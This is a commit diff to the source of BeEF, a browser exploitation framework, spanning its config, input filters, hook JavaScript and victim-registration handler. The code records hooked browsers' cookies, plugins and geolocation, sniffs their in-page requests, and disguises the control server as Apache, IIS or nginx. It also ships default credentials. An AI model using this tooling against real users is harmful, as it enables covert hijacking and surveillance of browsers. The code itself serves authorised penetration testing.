# For multiple origins use: "http://browserhacker.com, http://domain2.com"
restful_api:
allow_cors: false
cors_allowed_domains: "http://browserhacker.com"
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: false
secure: true # use 'WebSocketSecure' works only on HTTPS domains and with HTTPS support enabled in BeEF
port: 61985 # WS: good success rate through proxies
secure_port: 61986 # WSSecure
ws_poll_timeout: 1000 # poll BeEF every second
enable: false
port: 61985 # WS: good success rate through proxies
# Use encrypted 'WebSocketSecure'
# NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
secure: true
secure_port: 61986 # WSSecure
ws_poll_timeout: 1000 # poll BeEF every second
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
web_server_imitation:
enable: true
type: "apache" #supported: apache, iis
type: "apache" # Supported: apache, iis, nginx
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
@@ -89,7 +106,8 @@ beef:
db_passwd: "beef123"
db_encoding: "UTF-8"
# Credentials to authenticate in BeEF. Used by both the RESTful API and the Admin_UI extension
# Credentials to authenticate in BeEF.
# Used by both the RESTful API and the Admin_UI extension
credentials:
user: "beef"
passwd: "beef"
@@ -98,10 +116,16 @@ beef:
# NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
autorun:
enable: true
# set this to FALSE if you don't want to allow auto-run execution for modules with target->user_notify
# set this to TRUE if you want to allow auto-run execution for modules with target->user_notify
allow_user_notify: true
crypto_default_value_length: 80
# IP Geolocation
# NOTE: requires MaxMind database:
# curl -O http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
# gunzip GeoLiteCity.dat.gz && mkdir /opt/GeoIP && mv GeoLiteCity.dat /opt/GeoIP
geoip:
enable: false
database: '/opt/GeoIP/GeoLiteCity.dat'
# You may override default extension configuration parameters here
extension:
@@ -120,3 +144,6 @@ beef:
enable: false
ipec:
enable: true
# this is still experimental, we're working on it..
dns:
enable: false

View File

@@ -12,7 +12,7 @@ module Filters
def self.is_valid_browsername?(str)
return false if not is_non_empty_string?(str)
return false if str.length > 2
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
true
end
@@ -22,7 +22,7 @@ module Filters
def self.is_valid_browsertype?(str)
return false if not is_non_empty_string?(str)
return false if str.length < 10
return false if str.length > 250
return false if str.length > 500 #CxF - had to increase this because the Chrome detection JSON String is getting bigger.
return false if has_non_printable_char?(str)
true
end
@@ -32,7 +32,7 @@ module Filters
# @return [Boolean] If the string has valid Operating System name characters
def self.is_valid_osname?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
@@ -52,7 +52,7 @@ module Filters
# @return [Boolean] If the string has valid browser version characters
def self.is_valid_browserversion?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return false if not nums_only?(str) and not is_valid_float?(str)
return false if str.length > 10
@@ -64,7 +64,7 @@ module Filters
# @return [Boolean] If the string has valid browser / ua string characters
def self.is_valid_browserstring?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
return false if str.length > 300
true
end
@@ -73,7 +73,7 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid cookie characters
def self.is_valid_cookies?(str)
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
return false if str.length > 2000
true
end
@@ -82,7 +82,7 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid screen size characters
def self.is_valid_screen_size?(str)
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
@@ -91,7 +91,7 @@ module Filters
# @param [String] str String for testing
# @return [Boolean] If the string has valid window size characters
def self.is_valid_window_size?(str)
return false if has_non_printable_char?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
@@ -114,6 +114,16 @@ module Filters
true
end
# Verify the CPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid CPU type characters
def self.is_valid_cpu?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters

View File

@@ -12,7 +12,7 @@ module Filters
def self.is_valid_pagetitle?(str)
return false if not str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 50
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
true
end

View File

@@ -15,6 +15,8 @@ require 'ipaddr'
require 'base64'
require 'xmlrpc/client'
require 'openssl'
require 'rubydns'
require 'sourcify'
# @note Include the filters
require 'core/filters'
@@ -29,4 +31,4 @@ require 'core/api'
require 'core/settings'
# @note Include the core of BeEF
require 'core/core'
require 'core/core'

File diff suppressed because it is too large Load Diff

View File

@@ -102,23 +102,19 @@ beef.dom = {
},
/**
* Create and iFrame element. In case it's create with POST method, the iFrame is automatically added to the DOM and submitted.
* example usage in the code: beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
* Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
* is assigned to created iframe tag's src attribute resulting in GET request to that URI.
* example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
* @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
* @param: {String} method: can be 'GET' or 'POST'. defaults to GET
* @param: {Hash} params: list of params that will be sent in request.
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
* @param: {Function} a callback function to fire once the iFrame has loaded
* @return: {Object} the inserted iFrame
*
*/
createIframe: function(type, method, params, styles, onload) {
createIframe: function(type, params, styles, onload) {
var css = {};
var form_submit = (method.toLowerCase() == 'post') ? true : false;
if (form_submit && params['src'])
{
var form_action = params['src'];
params['src'] = '';
}
if (type == 'hidden') {
css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
} else if (type == 'fullscreen') {
@@ -130,13 +126,6 @@ beef.dom = {
}
var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
if (form_submit && form_action)
{
var id = beef.dom.generateID();
$j(iframe).attr({'id': id, 'name':id});
var form = beef.dom.createForm({'action':form_action, 'method':'get', 'target':id}, false);
$j(form).prependTo('body').submit();
}
return iframe;
},

View File

@@ -33,11 +33,11 @@ beef.mitb = {
//GET request
if (method == "GET") {
//GET request -> cross-domain
//GET request -> cross-origin
if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
window.open(url);
}else { //GET request -> same-domain
}else { //GET request -> same-origin
beef.mitb.sniff("GET [Ajax Request]: " + url);
if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
var title = "";
@@ -198,7 +198,7 @@ beef.mitb = {
beef.mitb.sniff("GET: " + url);
} catch (x) {
// the link is cross-domain, so load the resource in a different tab
// the link is cross-origin, so load the resource in a different tab
window.open(url);
beef.mitb.sniff("GET [New Window]: " + url);
}

View File

@@ -71,7 +71,7 @@ beef.net = {
response: function () {
this.status_code = null; // 500, 404, 200, 302
this.status_text = null; // success, timeout, error, ...
this.response_body = null; // "<html>…." if not a cross domain request
this.response_body = null; // "<html>…." if not a cross-origin request
this.port_status = null; // tcp port is open, closed or not http
this.was_cross_domain = null; // true or false
this.was_timedout = null; // the user specified timeout was reached

View File

@@ -12,7 +12,7 @@ beef.net.cors = {
},
/**
* Make a cross-domain request using CORS
* Make a cross-origin request using CORS
*
* @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
* @param url {String} url

View File

@@ -8,6 +8,24 @@ beef.os = {
ua: navigator.userAgent,
/**
* Detect default browser (IE only)
* Written by unsticky
* http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
*/
getDefaultBrowser: function() {
var mt = document.mimeType;
var result = "Unknown"
if (mt) {
if (mt == "Safari Document") result = "Safari";
if (mt == "Firefox HTML Document") result = "Firefox";
if (mt == "Chrome HTML Document") result = "Chrome";
if (mt == "HTML Document") result = "Internet Explorer";
if (mt == "Opera Web Document") result = "Opera";
}
return result;
},
isWin311: function() {
return (this.ua.match('(Win16)')) ? true : false;
},

View File

@@ -6,7 +6,7 @@
/*
Sometimes there are timing issues and looks like beef_init
is not called at all (always in cross-domain situations,
is not called at all (always in cross-origin situations,
for example calling the hook with jquery getScript,
or sometimes with event handler injections).

View File

@@ -20,7 +20,7 @@ beef.websocket = {
/**
* Initialize the WebSocket client object.
* Note: use WebSocketSecure only if the hooked domain is under https.
* Note: use WebSocketSecure only if the hooked origin is under https.
* Mixed-content in WS is quite different from a non-WS context.
*/
init:function () {

View File

@@ -68,7 +68,7 @@ module BeEF
}
zombie.httpheaders = @http_headers.to_json
zombie.save
#puts "HTTP Headers: #{zombie.httpheaders}"
#print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}"
# add a log entry for the newly hooked browser
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")
@@ -80,6 +80,36 @@ module BeEF
self.err_msg "Invalid browser name returned from the hook browser's initial connection."
end
# geolocation
if config.get('beef.geoip.enable')
require 'geoip'
geoip_file = config.get('beef.geoip.database')
if File.exists? geoip_file
geoip = GeoIP.new(geoip_file).city(zombie.ip)
if geoip.nil?
print_debug "[INIT] Geolocation failed - No results for IP address '#{zombie.ip}'"
else
#print_debug "[INIT] Geolocation results: #{geoip}"
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", "#{zombie.id}")
BD.set(session_id, 'LocationCity', "#{geoip['city_name']}")
BD.set(session_id, 'LocationCountry', "#{geoip['country_name']}")
BD.set(session_id, 'LocationCountryCode2', "#{geoip['country_code2']}")
BD.set(session_id, 'LocationCountryCode3', "#{geoip['country_code3']}")
BD.set(session_id, 'LocationContinentCode', "#{geoip['continent_code']}")
BD.set(session_id, 'LocationPostCode', "#{geoip['postal_code']}")
BD.set(session_id, 'LocationLatitude', "#{geoip['latitude']}")
BD.set(session_id, 'LocationLongitude', "#{geoip['longitude']}")
BD.set(session_id, 'LocationDMACode', "#{geoip['dma_code']}")
BD.set(session_id, 'LocationAreaCode', "#{geoip['area_code']}")
BD.set(session_id, 'LocationTimezone', "#{geoip['timezone']}")
BD.set(session_id, 'LocationRegionName', "#{geoip['real_region_name']}")
end
else
print_error "[INIT] Geolocation failed - Could not find MaxMind GeoIP database '#{geoip_file}'"
print_more "Download: http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz"
end
end
# detect browser proxy
using_proxy = false
[
@@ -119,7 +149,7 @@ module BeEF
if using_proxy == true
BD.set(session_id, 'UsingProxy', "#{using_proxy}")
proxy_log_string = "#{zombie.ip} is using a proxy"
unless proxy_clients.nil?
unless proxy_clients.empty?
BD.set(session_id, 'ProxyClient', "#{proxy_clients.sort.uniq.join(',')}")
proxy_log_string += " [client: #{proxy_clients.sort.uniq.join(',')}]"
end
@@ -146,6 +176,10 @@ module BeEF
self.err_msg "Invalid browser string returned from the hook browser's initial connection."
end
# get and store browser language
browser_lang = get_param(@data['results'], 'BrowserLanguage')
BD.set(session_id, 'BrowserLanguage', browser_lang)
# get and store the cookies
cookies = get_param(@data['results'], 'Cookies')
if BeEF::Filters.is_valid_cookies?(cookies)
@@ -162,6 +196,10 @@ module BeEF
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
end
# get and store default browser
default_browser = get_param(@data['results'], 'DefaultBrowser')
BD.set(session_id, 'DefaultBrowser', default_browser)
# get and store the hardware name
hw_name = get_param(@data['results'], 'Hardware')
if BeEF::Filters.is_valid_hwname?(hw_name)
@@ -250,105 +288,25 @@ module BeEF
self.err_msg "Invalid window size returned from the hook browser's initial connection."
end
# get and store the yes|no value for VBScriptEnabled
vbscript_enabled = get_param(@data['results'], 'VBScriptEnabled')
if BeEF::Filters.is_valid_yes_no?(vbscript_enabled)
BD.set(session_id, 'VBScriptEnabled', vbscript_enabled)
else
self.err_msg "Invalid value for VBScriptEnabled returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasFlash
has_flash = get_param(@data['results'], 'HasFlash')
if BeEF::Filters.is_valid_yes_no?(has_flash)
BD.set(session_id, 'HasFlash', has_flash)
else
self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasPhonegap
has_phonegap = get_param(@data['results'], 'HasPhonegap')
if BeEF::Filters.is_valid_yes_no?(has_phonegap)
BD.set(session_id, 'HasPhonegap', has_phonegap)
else
self.err_msg "Invalid value for HasPhonegap returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasGoogleGears
has_googlegears = get_param(@data['results'], 'HasGoogleGears')
if BeEF::Filters.is_valid_yes_no?(has_googlegears)
BD.set(session_id, 'HasGoogleGears', has_googlegears)
else
self.err_msg "Invalid value for HasGoogleGears returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasFoxit
has_foxit = get_param(@data['results'], 'HasFoxit')
if BeEF::Filters.is_valid_yes_no?(has_foxit)
BD.set(session_id, 'HasFoxit', has_foxit)
else
self.err_msg "Invalid value for HasFoxit returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasWebSocket
has_web_socket = get_param(@data['results'], 'HasWebSocket')
if BeEF::Filters.is_valid_yes_no?(has_web_socket)
BD.set(session_id, 'HasWebSocket', has_web_socket)
else
self.err_msg "Invalid value for HasWebSocket returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasWebRTC
has_webrtc = get_param(@data['results'], 'HasWebRTC')
if BeEF::Filters.is_valid_yes_no?(has_webrtc)
BD.set(session_id, 'HasWebRTC', has_webrtc)
else
self.err_msg "Invalid value for HasWebRTC returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasActiveX
has_activex = get_param(@data['results'], 'HasActiveX')
if BeEF::Filters.is_valid_yes_no?(has_activex)
BD.set(session_id, 'HasActiveX', has_activex)
else
self.err_msg "Invalid value for HasActiveX returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasSilverlight
has_silverlight = get_param(@data['results'], 'HasSilverlight')
if BeEF::Filters.is_valid_yes_no?(has_silverlight)
BD.set(session_id, 'HasSilverlight', has_silverlight)
else
self.err_msg "Invalid value for HasSilverlight returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasQuickTime
has_quicktime = get_param(@data['results'], 'HasQuickTime')
if BeEF::Filters.is_valid_yes_no?(has_quicktime)
BD.set(session_id, 'HasQuickTime', has_quicktime)
else
self.err_msg "Invalid value for HasQuickTime returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasRealPlayer
has_realplayer = get_param(@data['results'], 'HasRealPlayer')
if BeEF::Filters.is_valid_yes_no?(has_realplayer)
BD.set(session_id, 'HasRealPlayer', has_realplayer)
else
self.err_msg "Invalid value for HasRealPlayer returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasWMP
has_wmp = get_param(@data['results'], 'HasWMP')
if BeEF::Filters.is_valid_yes_no?(has_wmp)
BD.set(session_id, 'HasWMP', has_wmp)
else
self.err_msg "Invalid value for HasWMP returned from the hook browser's initial connection."
# get and store the yes|no value for browser components
components = [
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
'HasFoxit', 'HasWebSocket', 'HasWebRTC', 'HasActiveX',
'HasSilverlight', 'HasQuickTime', 'HasRealPlayer', 'HasWMP',
'hasSessionCookies', 'hasPersistentCookies'
]
components.each do |k|
v = get_param(@data['results'], k)
if BeEF::Filters.is_valid_yes_no?(v)
BD.set(session_id, k, v)
else
self.err_msg "Invalid value for #{k} returned from the hook browser's initial connection."
end
end
# get and store the value for CPU
cpu_type = get_param(@data['results'], 'CPU')
if !cpu_type.nil?
if BeEF::Filters.is_valid_cpu?(cpu_type)
BD.set(session_id, 'CPU', cpu_type)
else
self.err_msg "Invalid value for CPU returned from the hook browser's initial connection."
@@ -362,22 +320,6 @@ module BeEF
self.err_msg "Invalid value for TouchEnabled returned from the hook browser's initial connection."
end
# get and store whether the browser has session cookies enabled
has_session_cookies = get_param(@data['results'], 'hasSessionCookies')
if BeEF::Filters.is_valid_yes_no?(has_session_cookies)
BD.set(session_id, 'hasSessionCookies', has_session_cookies)
else
self.err_msg "Invalid value for hasSessionCookies returned from the hook browser's initial connection."
end
# get and store whether the browser has persistent cookies enabled
has_persistent_cookies = get_param(@data['results'], 'hasPersistentCookies')
if BeEF::Filters.is_valid_yes_no?(has_persistent_cookies)
BD.set(session_id, 'hasPersistentCookies', has_persistent_cookies)
else
self.err_msg "Invalid value for hasPersistentCookies returned from the hook browser's initial connection."
end
# log a few info of newly hooked zombie in the console
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"

View File

@@ -66,6 +66,15 @@ module BeEF
"and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>" +
"</ul>" +
"</TD></TR></TABLE></BODY></HTML>"
when "nginx"
#response body
"<html>\n"+
"<head><title>404 Not Found</title></head>\n" +
"<body bgcolor=\"white\">\n" +
"<center><h1>404 Not Found</h1></center>\n" +
"<hr><center>nginx</center>\n" +
"</body>\n" +
"</html>\n"
else
"Not Found."
end
@@ -87,12 +96,15 @@ module BeEF
headers "Server" => "Microsoft-IIS/6.0",
"X-Powered-By" => "ASP.NET",
"Content-Type" => "text/html; charset=UTF-8"
when "nginx"
headers "Server" => "nginx",
"Content-Type" => "text/html"
else
print_error "You have and error in beef.http.web_server_imitation.type! Supported values are: apache, iis."
print_error "You have an error in beef.http.web_server_imitation.type! Supported values are: apache, iis, nginx."
end
end
# @note If CORS are enabled, expose the appropriate headers
# @note If CORS is enabled, expose the appropriate headers
# this apparently duplicate code is needed to reply to preflight OPTIONS requests, which need to respond with a 200
# and be able to handle requests with a JSON content-type
if request.request_method == 'OPTIONS' && config.get("beef.http.restful_api.allow_cors")
@@ -103,7 +115,7 @@ module BeEF
halt 200
end
# @note If CORS are enabled, expose the appropriate headers
# @note If CORS is enabled, expose the appropriate headers
if config.get("beef.http.restful_api.allow_cors")
allowed_domains = config.get("beef.http.restful_api.cors_allowed_domains")
headers "Access-Control-Allow-Origin" => allowed_domains,
@@ -255,6 +267,30 @@ module BeEF
"</table>" +
"</body>" +
"</html>"
when "nginx"
"<!DOCTYPE html>\n" +
"<html>\n" +
"<head>\n" +
"<title>Welcome to nginx!</title>\n" +
"<style>\n" +
" body {\n" +
" width: 35em;\n" +
" margin: 0 auto;\n" +
" font-family: Tahoma, Verdana, Arial, sans-serif;\n" +
" }\n" +
"</style>\n" +
"</head>\n" +
"<body>\n" +
"<h1>Welcome to nginx!</h1>\n" +
"<p>If you see this page, the nginx web server is successfully installed and\n" +
"working. Further configuration is required.</p>\n\n" +
"<p>For online documentation and support please refer to\n" +
"<a href=\"http://nginx.org/\">nginx.org</a>.<br/>\n" +
"Commercial support is available at\n" +
"<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n" +
"<p><em>Thank you for using nginx.</em></p>\n" +
"</body>\n" +
"</html>\n"
else
""
end
@@ -264,4 +300,4 @@ module BeEF
end
end
end
end
end

View File

@@ -108,6 +108,11 @@ module BeEF
@rack_app)
if @configuration.get('beef.http.https.enable') == true
openssl_version = OpenSSL::OPENSSL_VERSION
if openssl_version =~ / 1\.0\.1([a-f])/
print_warning "Warning: #{openssl_version} is vulnerable to Heartbleed (CVE-2014-0160)."
print_more "Upgrade OpenSSL to version 1.0.1g or newer."
end
@http_server.ssl = true
@http_server.ssl_options = {:private_key_file => $root_dir + "/" + @configuration.get('beef.http.https.key'),
:cert_chain_file => $root_dir + "/" + @configuration.get('beef.http.https.cert'),

View File

@@ -17,21 +17,21 @@ module BeEF
# @param [String] mod module key
# @return [Boolean] if the module key is enabled in BeEF's configuration
def self.is_enabled(mod)
return (self.is_present(mod) and BeEF::Core::Configuration.instance.get('beef.module.'+mod.to_s+'.enable') == true)
return (self.is_present(mod) and BeEF::Core::Configuration.instance.get("beef.module.#{mod}.enable") == true)
end
# Checks to see if the module reports that it has loaded through the configuration
# @param [String] mod module key
# @return [Boolean] if the module key is loaded in BeEF's configuration
def self.is_loaded(mod)
return (self.is_enabled(mod) and BeEF::Core::Configuration.instance.get('beef.module.'+mod.to_s+'.loaded') == true)
return (self.is_enabled(mod) and BeEF::Core::Configuration.instance.get("beef.module.#{mod}.loaded") == true)
end
# Returns module class definition
# @param [String] mod module key
# @return [Class] the module class
def self.get_definition(mod)
return BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{mod.to_s}.class"))
return BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{mod}.class"))
end
# Gets all module options
@@ -83,19 +83,20 @@ module BeEF
# API call for pre-soft-load module
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'pre_soft_load', mod)
config = BeEF::Core::Configuration.instance
if not config.get("beef.module.#{mod}.loaded")
if File.exists?($root_dir+"/"+config.get('beef.module.'+mod+'.path')+'/module.rb')
BeEF::Core::Configuration.instance.set('beef.module.'+mod+'.class', mod.capitalize)
self.parse_targets(mod)
print_debug "Soft Load module: '#{mod}'"
# API call for post-soft-load module
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_soft_load', mod)
return true
else
print_debug "Unable to locate module file: #{config.get('beef.module.'+mod+'.path')}module.rb"
mod_str = "beef.module.#{mod}"
if not config.get("#{mod_str}.loaded")
if not File.exists?("#{$root_dir}/#{config.get("#{mod_str}.path")}/module.rb")
print_debug "Unable to locate module file: #{config.get("#{mod_str}.path")}/module.rb"
return false
end
print_error "Unable to load module '#{mod}'"
BeEF::Core::Configuration.instance.set("#{mod_str}.class", mod.capitalize)
self.parse_targets(mod)
print_debug "Soft Load module: '#{mod}'"
# API call for post-soft-load module
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_soft_load', mod)
return true
end
print_error "Unable to load module '#{mod}'"
return false
end
@@ -109,28 +110,29 @@ module BeEF
# API call for pre-hard-load module
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'pre_hard_load', mod)
config = BeEF::Core::Configuration.instance
if self.is_enabled(mod)
begin
require config.get("beef.module.#{mod}.path")+'module.rb'
if self.exists?(config.get("beef.module.#{mod}.class"))
# start server mount point
BeEF::Core::Server.instance.mount("/command/#{mod}.js", BeEF::Core::Handlers::Commands, mod)
BeEF::Core::Configuration.instance.set("beef.module.#{mod}.mount", "/command/#{mod}.js")
BeEF::Core::Configuration.instance.set('beef.module.'+mod+'.loaded', true)
print_debug "Hard Load module: '#{mod.to_s}'"
# API call for post-hard-load module
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_hard_load', mod)
return true
else
print_error "Hard loaded module '#{mod.to_s}' but the class BeEF::Core::Commands::#{mod.capitalize} does not exist"
end
rescue => e
BeEF::Core::Configuration.instance.set('beef.module.'+mod+'.loaded', false)
print_error "There was a problem loading the module '#{mod.to_s}'"
print_debug "Hard load module syntax error: #{e.to_s}"
if not self.is_enabled(mod)
print_error "Hard load attempted on module '#{mod}' that is not enabled."
return false
end
mod_str = "beef.module.#{mod}"
begin
require config.get("#{mod_str}.path")+'module.rb'
if self.exists?(config.get("#{mod_str}.class"))
# start server mount point
BeEF::Core::Server.instance.mount("/command/#{mod}.js", BeEF::Core::Handlers::Commands, mod)
BeEF::Core::Configuration.instance.set("#{mod_str}.mount", "/command/#{mod}.js")
BeEF::Core::Configuration.instance.set("#{mod_str}.loaded", true)
print_debug "Hard Load module: '#{mod}'"
# API call for post-hard-load module
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_hard_load', mod)
return true
else
print_error "Hard loaded module '#{mod}' but the class BeEF::Core::Commands::#{mod.capitalize} does not exist"
end
else
print_error "Hard load attempted on module '#{mod.to_s}' that is not enabled."
rescue => e
BeEF::Core::Configuration.instance.set("#{mod_str}.loaded", false)
print_error "There was a problem loading the module '#{mod}'"
print_debug "Hard load module syntax error: #{e}"
end
return false
end
@@ -184,112 +186,113 @@ module BeEF
# 4+ = As above but with extra parameters.
# Please note this rating system has no correlation to the return constant value BeEF::Core::Constants::CommandModule::*
def self.support(mod, opts)
target_config = BeEF::Core::Configuration.instance.get('beef.module.'+mod+'.target')
if target_config and opts.kind_of? Hash
if opts.key?('browser')
results = []
target_config.each{|k,m|
m.each{|v|
case v
when String
if opts['browser'] == v
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
# rating += 1
# end
results << {'rating' => 2, 'const' => k}
end
when Hash
if opts['browser'] == v.keys.first or v.keys.first == BeEF::Core::Constants::Browsers::ALL
subv = v[v.keys.first]
rating = 1
#version check
if opts.key?('ver')
if subv.key?('min_ver')
if subv['min_ver'].kind_of? Fixnum and opts['ver'].to_i >= subv['min_ver']
rating += 1
else
break
end
end
if subv.key?('max_ver')
if (subv['max_ver'].kind_of? Fixnum and opts['ver'].to_i <= subv['max_ver']) or subv['max_ver'] == "latest"
rating += 1
else
break
end
end
end
# os check
if opts.key?('os') and subv.key?('os')
match = false
opts['os'].each{|o|
case subv['os']
when String
if o == subv['os']
rating += 1
match = true
elsif subv['os'] == BeEF::Core::Constants::Os::OS_ALL_UA_STR
match = true
end
when Array
subv['os'].each{|p|
if o == p
rating += 1
match = true
elsif p == BeEF::Core::Constants::Os::OS_ALL_UA_STR
match = true
end
}
end
}
if not match
break
end
end
if rating > 0
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
# rating += 1
# end
results << {'rating' => rating, 'const' => k}
end
end
end
if v == BeEF::Core::Constants::Browsers::ALL
rating = 1
if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
rating = 1
end
results << {'rating' => rating, 'const' => k}
end
}
}
if results.count > 0
result = {}
results.each {|r|
if result == {}
result = {'rating' => r['rating'], 'const' => r['const']}
else
if r['rating'] > result['rating']
result = {'rating' => r['rating'], 'const' => r['const']}
end
end
}
return result['const']
else
return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
end
else
print_error "BeEF::Module.support() was passed a hash without a valid browser constant"
end
target_config = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.target")
if not target_config or not opts.kind_of? Hash
return nil
end
if not opts.key?('browser')
print_error "BeEF::Module.support() was passed a hash without a valid browser constant"
return nil
end
results = []
target_config.each{|k,m|
m.each{|v|
case v
when String
if opts['browser'] == v
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
# rating += 1
# end
results << {'rating' => 2, 'const' => k}
end
when Hash
if opts['browser'] == v.keys.first or v.keys.first == BeEF::Core::Constants::Browsers::ALL
subv = v[v.keys.first]
rating = 1
#version check
if opts.key?('ver')
if subv.key?('min_ver')
if subv['min_ver'].kind_of? Fixnum and opts['ver'].to_i >= subv['min_ver']
rating += 1
else
break
end
end
if subv.key?('max_ver')
if (subv['max_ver'].kind_of? Fixnum and opts['ver'].to_i <= subv['max_ver']) or subv['max_ver'] == "latest"
rating += 1
else
break
end
end
end
# os check
if opts.key?('os') and subv.key?('os')
match = false
opts['os'].each{|o|
case subv['os']
when String
if o == subv['os']
rating += 1
match = true
elsif subv['os'] == BeEF::Core::Constants::Os::OS_ALL_UA_STR
match = true
end
when Array
subv['os'].each{|p|
if o == p
rating += 1
match = true
elsif p == BeEF::Core::Constants::Os::OS_ALL_UA_STR
match = true
end
}
end
}
if not match
break
end
end
if rating > 0
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
# rating += 1
# end
results << {'rating' => rating, 'const' => k}
end
end
end
if v == BeEF::Core::Constants::Browsers::ALL
rating = 1
if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
rating = 1
end
results << {'rating' => rating, 'const' => k}
end
}
}
if results.count > 0
result = {}
results.each {|r|
if result == {}
result = {'rating' => r['rating'], 'const' => r['const']}
else
if r['rating'] > result['rating']
result = {'rating' => r['rating'], 'const' => r['const']}
end
end
}
return result['const']
else
return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
end
return nil
end
# Translates module target configuration
# @note Takes the user defined target configuration and replaces it with equivalent a constant based generated version
# @param [String] mod module key
def self.parse_targets(mod)
target_config = BeEF::Core::Configuration.instance.get('beef.module.'+mod+'.target')
mod_str = "beef.module.#{mod}"
target_config = BeEF::Core::Configuration.instance.get("#{mod_str}.target")
if target_config
targets = {}
target_config.each{|k,v|
@@ -331,11 +334,11 @@ module BeEF
end
end
rescue NameError
print_error "Module \"#{mod}\" configuration has invalid target status defined \"#{k}\""
print_error "Module '#{mod}' configuration has invalid target status defined '#{k}'"
end
}
BeEF::Core::Configuration.instance.clear("beef.module.#{mod}.target")
BeEF::Core::Configuration.instance.set("beef.module.#{mod}.target", targets)
BeEF::Core::Configuration.instance.clear("#{mod_str}.target")
BeEF::Core::Configuration.instance.set("#{mod_str}.target", targets)
end
end
@@ -351,7 +354,7 @@ module BeEF
browser = BeEF::Core::Constants::Browsers.const_get(v.upcase)
end
rescue NameError
print_error "Could not identify browser target specified as \"#{v}\""
print_error "Could not identify browser target specified as '#{v}'"
end
else
print_error "Invalid datatype passed to BeEF::Module.match_target_browser()"
@@ -407,7 +410,7 @@ module BeEF
os = BeEF::Core::Constants::Os.const_get("OS_#{v.upcase}_UA_STR")
end
rescue NameError
print_error "Could not identify OS target specified as \"#{v}\""
print_error "Could not identify OS target specified as '#{v}'"
end
else
print_error "Invalid datatype passed to BeEF::Module.match_target_os()"

View File

